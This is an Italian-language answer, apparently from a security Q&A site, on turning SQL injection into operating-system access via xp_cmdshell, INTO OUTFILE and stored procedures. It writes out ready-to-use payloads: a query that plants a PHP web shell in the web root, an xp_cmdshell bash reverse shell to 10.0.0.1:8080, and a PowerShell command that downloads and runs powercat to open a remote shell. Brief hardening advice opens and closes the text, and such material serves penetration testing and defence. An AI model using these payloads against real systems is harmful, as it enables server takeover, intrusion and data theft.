Molti server SQL comuni supportano funzioni come xp_cmdshell che consentono l'esecuzione di comandi arbitrari. Non sono nello standard SQL, quindi ogni software di database ha nomi diversi per questo.

Inoltre c'è SELECT ... INTO OUTFILE, che può essere usato per scrivere file arbitrari con le autorizzazioni dell'utente del database. Potrebbe essere possibile sovrascrivere gli script della shell richiamati da cron o all'avvio. Se il processo del server database è in esecuzione sullo stesso server di un'applicazione Web (ad esempio un singolo server noleggiato), potrebbe essere possibile scrivere file .php che possono quindi essere richiamati visitando l'url appropriato nel browser.

Il terzo modo per causare danni è definire ed eseguire stored procedure nel database. O ridefinire le stored procedure esistenti, ad esempio una funzione che verifica le password.

Ci sono probabilmente più modi.

L'utente del database dell'applicazione non deve avere le autorizzazioni per eseguire le funzioni della shell né usare INTO OUTFILE né per definire stored procedure.

Ci sono diversi modi per ottenere shell. Ecco alcuni di loro. Il link in basso dovrebbe portarti a qualche eccellente cheat sheet per molti tipi di database come MSSQL, Oracle, MySQL e altro ancora.

Un buon consiglio per ottenere shell è avere questo reverse cheat sheet nel tuo tasca posteriore.

outfile

Se sai dove mettere la shell sul server (accessibile da qualche parte) puoi usare la seguente query (mysql) per creare ad esempio una shell php sul server web:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/shell.php’

Trovare dove mettere la shell

Devi sapere dove si trova la directory del dominio. Imparare dove il database è in esecuzione può essere utile quindi una query di injection (mysql) come questa potrebbe forse dirti dell'architettura di directory:

SELECT @@datadir;

Potresti anche essere fortunato se provi a forzare qualsiasi messaggio di errore dal sistema per farlo sapere dove è in esecuzione. In genere questo approccio è il più semplice in quanto molti messaggi di errore sono molto

Uso delle funzioni di DB incorporate (xp_cmdshell)

MSSQL ha un modo relativamente semplice per chiamare le funzioni del sistema operativo usando la funzione incorporata xp_cmdshell. Non è così facile in MySQL (di solito richiede un file outfile o una stored procedure). Oracle è molto facile quanto consente l'esecuzione del codice Java.

EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

L'istruzione sopra riportata crea una shell interattiva (-i) in ascolto alla porta 10.0.0.1 8080.

Modifica : ovviamente MSSQL con Bash è davvero improbabile. Non ci avevo pensato prima di vedere il commento. Invece della bash, si può invece eseguire uno script di PowerShell inverso, come questo:

EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' 

Powercat può essere scaricato da qui: link

Shell tramite stored procedure

Se è possibile concatenare query in un punto di iniezione, è molto probabile che si creino procedure nel database. Queste procedure funzionano come funzioni che è possibile chiamare con quries.

Vedi Comandi di shell da PL SQL per maggiori dettagli su questo.

Altre

Buona fonte di iniezione: pentest monkey

Con un database Oracle, puoi effettivamente compilare ed eseguire codice Java da una query SQL. Ho visto gli hacker implementare un wrapper di shell di base in Java per Oracle ed eseguirlo e compilarlo da SQL injection. Abbastanza elegante.

Dipende interamente dall'applicazione in questione. Per quanto riguarda come proteggersi, non essere banali, ma collegare i buchi di SQL injection. È anche saggio isolare quanto più possibile il pubblico, quindi se sei di proprietà, l'attaccante non può fare molto. Com'è pratico, dipende ancora dalla tua architettura e dall'app in questione.